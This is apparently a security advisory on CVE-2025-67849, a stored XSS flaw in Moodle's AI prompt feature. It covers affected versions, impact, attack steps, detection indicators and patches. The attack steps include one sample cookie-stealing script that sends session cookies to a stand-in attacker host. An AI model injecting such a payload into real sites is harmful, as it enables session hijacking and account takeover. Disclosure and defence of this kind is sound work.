CVE-2025-67849: 
PHP vulnerability analysis and mitigation

CVE-2025-67849 is a stored Cross-Site Scripting (XSS) vulnerability in Moodle caused by improper sanitization of AI prompt responses. It allows attackers to inject malicious HTML or JavaScript into web pages, which can then be executed in the browsers of other users who view the compromised pages. Affected versions include Moodle < 4.1.22, >= 4.4.0-beta and < 4.4.12, >= 4.5.0-beta and < 4.5.8, >= 5.0.0-beta and < 5.0.4, and >= 5.1.0-beta and < 5.1.1. The vulnerability was reported on December 19, 2025, and publicly disclosed on February 3, 2026. The CVSS v3.1 base score is 7.3 (High) per the GitHub Advisory, while NVD assigns 6.1 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to properly sanitize responses returned by AI prompt features before rendering them in Moodle web pages (GitHub Advisory). An attacker with low-level privileges can craft malicious input that, when processed by Moodle's AI subsystem, results in unsanitized HTML or JavaScript being stored and later rendered to other users. Exploitation requires user interaction — a victim must view the page containing the injected content — but no special configuration is needed beyond access to the AI prompt feature. A patch commit is referenced in the advisory at moodle/moodle@a3063dc (GitHub Advisory).

Successful exploitation allows an attacker to steal session cookies, enabling account takeover of any user who views the compromised page, including administrators. Attackers can also manipulate the Moodle user interface to conduct phishing attacks, redirect users to malicious sites, or perform unauthorized actions on behalf of victims. The GitHub Advisory rates confidentiality and integrity impacts as High, reflecting the potential for full session hijacking and data manipulation within the Moodle platform (GitHub Advisory, Red Hat Bugzilla).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.032% (0.000320), placing it in the 1st percentile for exploitation likelihood within the next 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify a Moodle instance running a vulnerable version (< 4.1.22, < 4.4.12, < 4.5.8, < 5.0.4, or < 5.1.1) with AI prompt features enabled.
2. Craft malicious payload: Prepare an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to steal session cookies or manipulate the UI.
3. Inject via AI prompt: Submit the malicious payload through an AI prompt input field within Moodle. The unsanitized AI response containing the injected script is stored or reflected in a Moodle page.
4. Trigger victim interaction: Lure or wait for another user (e.g., an instructor or administrator) to navigate to the page containing the injected content.
5. Harvest session or perform actions: The victim's browser executes the injected script, sending their session token to the attacker's server or performing unauthorized actions within Moodle on their behalf (GitHub Advisory, Red Hat Bugzilla).

• Network: Unexpected outbound HTTP requests from users' browsers to external domains shortly after viewing Moodle pages containing AI-generated content; unusual redirects originating from Moodle pages.
• Logs: Moodle access logs showing AI prompt submissions containing HTML tags or JavaScript keywords (e.g., <script>, onerror=, javascript:); repeated access to pages with AI-generated content by multiple users followed by anomalous session activity.
• File System / Database: Moodle database entries in AI prompt response fields containing raw HTML or <script> tags rather than plain text.
• Process/Session: Multiple user accounts exhibiting session activity from IP addresses inconsistent with their normal login locations, potentially indicating session hijacking.

Moodle has released patched versions: 4.1.22, 4.4.12, 4.5.8, 5.0.4, and 5.1.1 (GitHub Advisory). Administrators should upgrade to the appropriate patched version immediately. As a temporary workaround if patching is not immediately possible, consider disabling AI prompt features within Moodle and implementing Content Security Policy (CSP) headers to restrict script execution. Input validation and output encoding controls should also be reviewed and enforced at the application layer.

Red Hat tracked this vulnerability via their Product Security team and assigned it high severity in their Bugzilla system (Red Hat Bugzilla). The Moodle community forum referenced the fix in their security discussion thread (Moodle Forum). INCIBE-CERT (Spain's national cybersecurity incident response center) published an early warning advisory for the vulnerability. No significant social media controversy or notable independent researcher commentary has been identified beyond standard vulnerability tracking.